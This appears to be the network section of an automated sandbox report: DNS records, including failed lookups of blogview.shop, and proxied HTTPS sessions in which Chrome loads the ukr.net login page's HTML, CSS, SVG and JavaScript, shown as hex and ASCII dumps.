Oct 26, 2024 13:49:04.388497114 CEST	192.168.2.5	1.1.1.1	0xd6ab	Standard query (0)	poll0.fwdcdn.com	65	IN (0x0001)	false
Oct 26, 2024 13:50:11.410357952 CEST	192.168.2.5	1.1.1.1	0x68c5	Standard query (0)	blogview.shop	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:50:35.032289982 CEST	192.168.2.5	1.1.1.1	0xde5	Standard query (0)	blogview.shop	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:51:21.846415043 CEST	192.168.2.5	1.1.1.1	0x1e36	Standard query (0)	blogview.shop	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:51:46.970045090 CEST	192.168.2.5	1.1.1.1	0xa3e9	Standard query (0)	blogview.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 13:48:51.456568956 CEST	1.1.1.1	192.168.2.5	0x6481	No error (0)	edisk.ukr.net		212.42.78.17	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:48:53.033663034 CEST	1.1.1.1	192.168.2.5	0xce0e	No error (0)	accounts.ukr.net		212.42.75.253	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:48:56.035345078 CEST	1.1.1.1	192.168.2.5	0xc3d5	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 26, 2024 13:48:56.035538912 CEST	1.1.1.1	192.168.2.5	0x6cb3	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:49:00.242959023 CEST	1.1.1.1	192.168.2.5	0x4bf6	No error (0)	accounts.ukr.net		212.42.75.253	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:49:04.397619009 CEST	1.1.1.1	192.168.2.5	0x64d5	No error (0)	poll0.fwdcdn.com		212.42.75.248	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:50:11.430803061 CEST	1.1.1.1	192.168.2.5	0x68c5	Server failure (2)	blogview.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:50:35.052542925 CEST	1.1.1.1	192.168.2.5	0xde5	Server failure (2)	blogview.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:51:21.868343115 CEST	1.1.1.1	192.168.2.5	0x1e36	Server failure (2)	blogview.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:51:46.986612082 CEST	1.1.1.1	192.168.2.5	0xa3e9	Server failure (2)	blogview.shop	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

edisk.ukr.net

accounts.ukr.net

https:

fs.microsoft.com

poll0.fwdcdn.com

otelrules.azureedge.net

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	212.42.78.17	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:52 UTC	642	OUT	GET / HTTP/1.1 Host: edisk.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:52 UTC	1739	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 26 Oct 2024 11:48:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb&action=login_client Strict-Transport-Security: max-age=15552000; includeSubDomains Expires: Sat, 26 Oct 2024 11:48:51 GMT Cache-Control: no-cache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline' 'unsafe-eval' 'report-sample' blob: https://.ukr.net https://.googlesyndication.com https://.googleapis.com https://.googletagservices.com https://.doubleclick.net https://partner.googleadservices.com https://www.google.com https://www.gstatic.com https://pla.fwdcdn.com; style-src 'self' 'unsafe-inline' 'report-sample' https://.ukr.net https://fonts.googleapis.com/css https://.googlesyndication.com; img-src 'self' 'report-sample' data: https://.ukr.net http://.ukr.net https://.edisk.download http://.edisk.download https://.gstatic.com https://.googlesyndication.com https://.google.com; child-src 'self' https://.ukr.net https://.edisk.download http://.edisk.download; frame-src data: 'self' https://.ukr.net https://.edisk.download http://.edisk.download; frame-ancestors 'self' 'report-sample' https://.ukr.net http://.ukr.net; object-src 'self'; media-src 'self'; font-src 'self' 'report-sample' data: https://font [TRUNCATED]
2024-10-26 11:48:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:53 UTC	701	OUT	GET /login?client_id=UqGeSNzaWtOnSS6i9Epb&action=login_client HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:54 UTC	1013	IN	HTTP/1.1 303 See Other Server: nginx Date: Sat, 26 Oct 2024 11:48:54 GMT Content-Length: 0 Connection: close Location: /login?client_id=UqGeSNzaWtOnSS6i9Epb Expires: Sat, 26 Oct 2024 11:48:53 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubDomains X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self'; script-src 'self' https://.ukr.net https://www.google.com https://google.com https://www.gstatic.com https://gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://.ukr.net; child-src 'self' https://www.google.com https://google.com; frame-src 'self' https://www.google.com https://google.com https://recaptcha.google.com; frame-ancestors https://.ukr.net http://.ukr.net www.ukr.net ukr.net https://ukrnet.com.ua; form-action https://.ukr.net www.ukr.net ukr.net; object-src 'self'; font-src 'self'; connect-src 'self' https://.ukr.net wss://*.fwdcdn.com; report-uri /csp-blocked X-Upstream: 4210.10.20.49:5080

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:55 UTC	681	OUT	GET /login?client_id=UqGeSNzaWtOnSS6i9Epb HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:55 UTC	1000	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6278 Connection: close Expires: Sat, 26 Oct 2024 11:48:54 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubDomains X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self'; script-src 'self' https://.ukr.net https://www.google.com https://google.com https://www.gstatic.com https://gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://.ukr.net; child-src 'self' https://www.google.com https://google.com; frame-src 'self' https://www.google.com https://google.com https://recaptcha.google.com; frame-ancestors https://.ukr.net http://.ukr.net www.ukr.net ukr.net https://ukrnet.com.ua; form-action https://.ukr.net www.ukr.net ukr.net; object-src 'self'; font-src 'self'; connect-src 'self' https://.ukr.net wss://*.fwdcdn.com; report-uri /csp-blocked X-Upstream: 4110.10.20.37:5080
2024-10-26 11:48:55 UTC	6278	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 20 6c 61 6e 67 3d 22 75 6b 22 3e 3c 74 69 74 6c 65 3e d0 9f d0 be d1 88 d1 82 d0 b0 20 40 20 75 6b 72 2e 6e 65 74 20 2d 20 d1 83 d0 ba d1 80 d0 b0 d1 97 d0 bd d1 81 d1 8c d0 ba d0 b0 20 d0 b5 d0 bb d0 b5 d0 ba d1 82 d1 80 d0 be d0 bd d0 bd d0 b0 20 d0 bf d0 be d1 88 d1 82 d0 b0 20 e2 80 a2 20 d0 a1 d1 82 d0 b2 d0 be d1 80 d0 b8 20 d0 b5 d0 bc d0 b5 d0 b9 d0 bb 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html><head lang="uk"><title> @ ukr.net - </title><meta content="text/html; charset=utf-8" http-equiv="Content-Type"><meta name="viewport" content="wi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:56 UTC	596	OUT	GET /login/css/bundle.css?3eae8d99 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:56 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:56 GMT Content-Type: text/css Content-Length: 78007 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-130b7" Expires: Sat, 09 Nov 2024 11:48:56 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:48:56 UTC	16051	IN	Data Raw: 2e 5f 33 58 33 65 2d 45 42 31 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 36 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 30 3b 66 69 6c 6c 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 31 32 73 20 65 61 73 65 2d 6f 75 74 7d 2e 5f 33 58 33 65 2d 45 42 31 2e 5f 32 61 5a 2d 31 79 Data Ascii: ._3X3e-EB1{align-items:center;background:transparent;border:1px solid transparent;border-radius:6px;box-sizing:border-box;display:flex;justify-content:center;padding:0;fill:currentColor;cursor:pointer;transition:background .12s ease-out}._3X3e-EB1._2aZ-1y
2024-10-26 11:48:56 UTC	16384	IN	Data Raw: 30 37 2e 31 34 38 2d 2e 30 30 38 61 31 2e 36 35 38 20 31 2e 36 35 38 20 30 20 30 20 31 20 31 2e 36 39 31 20 31 2e 39 7a 6d 37 2e 37 31 37 2d 33 2e 33 32 33 76 31 2e 37 31 32 68 32 2e 36 35 33 76 37 2e 32 36 33 68 32 2e 32 31 76 2d 37 2e 32 36 37 68 32 2e 36 35 32 56 35 36 2e 33 39 68 2d 37 2e 35 31 32 5a 6d 31 30 2e 30 32 35 20 38 2e 39 37 35 68 32 2e 33 38 36 56 36 32 2e 39 68 2d 32 2e 33 38 38 76 32 2e 34 36 36 5a 6d 2e 33 35 36 2d 34 2e 32 68 31 2e 36 35 36 6c 2e 34 36 33 2d 38 2e 32 35 36 48 32 33 32 2e 33 5a 27 20 73 74 79 6c 65 3d 27 66 69 6c 6c 3a 25 32 33 30 33 35 62 61 39 27 2f 25 33 45 25 33 43 2f 73 76 67 25 33 45 22 29 7d 2e 43 75 62 68 6e 47 50 44 2e 5f 32 50 6b 2d 33 79 36 30 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 Data Ascii: 07.148-.008a1.658 1.658 0 0 1 1.691 1.9zm7.717-3.323v1.712h2.653v7.263h2.21v-7.267h2.652V56.39h-7.512Zm10.025 8.975h2.386V62.9h-2.388v2.466Zm.356-4.2h1.656l.463-8.256H232.3Z' style='fill:%23035ba9'/%3E%3C/svg%3E")}.CubhnGPD._2Pk-3y60{background-image:url(
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6d 61 69 6e 2d 35 30 29 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 36 70 78 20 33 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 5f 32 74 41 56 72 65 4c 4b 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6d 61 69 6e 2d 33 35 30 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: ;color:var(--color-main-50);display:flex;flex-direction:column;font-size:15px;font-weight:500;justify-content:space-between;min-height:180px;padding:16px 32px;text-align:center}._2tAVreLK{color:var(--color-main-350);font-size:14px;line-height:14px;padding
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 66 66 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 49 6e 74 65 72 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 32 30 30 3b 73 72 63 3a 75 72 6c 28 2f 6c 6f 67 69 6e 2f 61 73 73 65 74 73 2f 69 6e 74 65 72 2d 65 78 74 72 61 2d 6c 69 67 68 74 2d 69 74 61 6c 69 63 2d 6c 61 74 69 6e 2d 70 70 63 32 54 78 6f 73 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 75 2b 30 30 3f 3f 2c 75 2b 30 31 33 31 2c 75 2b 30 31 35 32 2d 30 31 35 33 2c 75 2b 30 32 62 62 2d 30 32 62 63 2c 75 2b 30 32 63 36 2c 75 2b 30 32 64 61 2c 75 2b 30 32 64 63 2c 75 2b 32 30 30 30 2d 32 30 36 66 2c 75 Data Ascii: ff}@font-face{font-display:swap;font-family:Inter;font-style:italic;font-weight:200;src:url(/login/assets/inter-extra-light-italic-latin-ppc2Txos.woff2) format("woff2");unicode-range:u+00??,u+0131,u+0152-0153,u+02bb-02bc,u+02c6,u+02da,u+02dc,u+2000-206f,u
2024-10-26 11:48:57 UTC	12804	IN	Data Raw: 65 3a 75 2b 30 31 30 32 2d 30 31 30 33 2c 75 2b 30 31 31 30 2d 30 31 31 31 2c 75 2b 30 31 32 38 2d 30 31 32 39 2c 75 2b 30 31 36 38 2d 30 31 36 39 2c 75 2b 30 31 61 30 2d 30 31 61 31 2c 75 2b 30 31 61 66 2d 30 31 62 30 2c 75 2b 31 65 61 30 2d 31 65 66 39 2c 75 2b 32 30 61 62 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 73 77 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 49 6e 74 65 72 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 73 72 63 3a 75 72 6c 28 2f 6c 6f 67 69 6e 2f 61 73 73 65 74 73 2f 69 6e 74 65 72 2d 62 6f 6c 64 2d 69 74 61 6c 69 63 2d 6c 61 74 69 6e 2d 65 78 74 2d 67 32 67 35 70 59 5a 62 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 Data Ascii: e:u+0102-0103,u+0110-0111,u+0128-0129,u+0168-0169,u+01a0-01a1,u+01af-01b0,u+1ea0-1ef9,u+20ab}@font-face{font-display:swap;font-family:Inter;font-style:italic;font-weight:700;src:url(/login/assets/inter-bold-italic-latin-ext-g2g5pYZb.woff2) format("woff2")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:56 UTC	656	OUT	GET /login/assets/google-play-badge-8c42ddbd.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:56 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:56 GMT Content-Type: image/svg+xml Content-Length: 4754 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-1292" Expires: Sat, 09 Nov 2024 11:48:56 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:48:56 UTC	4754	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 20 77 69 64 74 68 3d 22 31 38 30 22 20 68 65 69 67 68 74 3d 22 35 33 2e 33 33 33 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 31 30 30 66 30 64 22 20 64 3d 22 4d 31 37 33 2e 33 33 20 35 33 2e 33 33 33 48 36 2e 36 37 63 2d 33 2e 36 36 37 20 30 2d 36 2e 36 36 36 2d 33 2d 36 2e 36 36 36 2d 36 2e 36 36 37 56 36 2e 36 36 39 43 2e 30 30 34 20 33 20 33 2e 30 30 34 20 30 20 36 2e 36 37 20 30 68 31 36 36 2e 36 36 63 33 2e 36 36 37 20 30 20 36 2e 36 36 37 20 33 20 36 2e 36 36 37 20 36 2e 36 36 36 76 34 30 63 30 20 33 2e 36 36 36 2d 33 20 36 2e 36 36 36 2d 36 2e 36 36 37 20 36 2e 36 36 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="180" height="53.333"><path fill="#100f0d" d="M173.33 53.333H6.67c-3.667 0-6.666-3-6.666-6.667V6.669C.004 3 3.004 0 6.67 0h166.66c3.667 0 6.667 3 6.667 6.666v40c0 3.666-3 6.666-6.667 6.666

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:56 UTC	654	OUT	GET /login/assets/app-store-badge-83fca98c.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:56 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:56 GMT Content-Type: image/svg+xml Content-Length: 6828 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-1aac" Expires: Sat, 09 Nov 2024 11:48:56 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:48:56 UTC	6828	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 31 39 2e 36 36 34 22 20 68 65 69 67 68 74 3d 22 34 30 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 31 30 2e 31 33 35 20 30 48 39 2e 35 33 35 51 38 2e 39 38 36 20 30 20 38 2e 34 34 2e 30 30 32 71 2d 2e 34 35 37 2e 30 30 34 2d 2e 39 31 39 2e 30 31 33 41 31 33 20 31 33 20 30 20 30 20 30 20 35 2e 35 31 37 2e 31 39 61 36 2e 37 20 36 2e 37 20 30 20 30 20 30 2d 31 2e 39 2e 36 32 37 20 36 2e 34 20 36 2e 34 20 30 20 30 20 30 2d 31 2e 36 32 20 31 2e 31 38 41 36 2e 33 20 36 2e 33 20 30 20 30 20 30 20 2e 38 32 20 33 2e 36 31 37 20 36 2e 36 20 36 2e 36 20 30 20 30 20 30 20 2e 31 39 35 20 35 2e 35 32 61 31 33 20 31 33 20 30 20 30 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="119.664" height="40"><path d="M110.135 0H9.535Q8.986 0 8.44.002q-.457.004-.919.013A13 13 0 0 0 5.517.19a6.7 6.7 0 0 0-1.9.627 6.4 6.4 0 0 0-1.62 1.18A6.3 6.3 0 0 0 .82 3.617 6.6 6.6 0 0 0 .195 5.52a13 13 0 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:56 UTC	580	OUT	GET /login/js/bundle.js?949e9a20 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:56 UTC	348	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:56 GMT Content-Type: application/javascript Content-Length: 490758 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-77d06" Expires: Sat, 09 Nov 2024 11:48:56 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:48:56 UTC	16036	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 36 33 33 3a 28 65 2c 74 29 3d 3e 7b 76 61 72 20 6e 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 74 3d 30 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 69 66 28 6e 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 6e 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 61 7c Data Ascii: /! For license information please see bundle.js.LICENSE.txt /(()=>{var e={1633:(e,t)=>{var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var a=typeof n;if("string"===a\|
2024-10-26 11:48:56 UTC	16384	IN	Data Raw: 3b 74 68 69 73 2e 5f 69 67 6e 6f 72 65 4f 6e 45 72 72 6f 72 2b 3d 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 69 67 6e 6f 72 65 4f 6e 45 72 72 6f 72 2d 3d 31 7d 29 29 7d 2c 5f 74 72 69 67 67 65 72 45 76 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3b 69 66 28 74 68 69 73 2e 5f 68 61 73 44 6f 63 75 6d 65 6e 74 29 7b 66 6f 72 28 72 20 69 6e 20 74 3d 74 7c 7c 7b 7d 2c 65 3d 22 72 61 76 65 6e 22 2b 65 2e 73 75 62 73 74 72 28 30 2c 31 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 28 31 29 2c 42 2e 63 72 65 61 74 65 45 76 65 6e 74 3f 28 6e 3d 42 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 48 54 4d 4c 45 76 65 6e 74 73 22 29 29 2e 69 6e 69 74 45 76 65 6e 74 28 65 2c 21 Data Ascii: ;this._ignoreOnError+=1,setTimeout((function(){e._ignoreOnError-=1}))},_triggerEvent:function(e,t){var 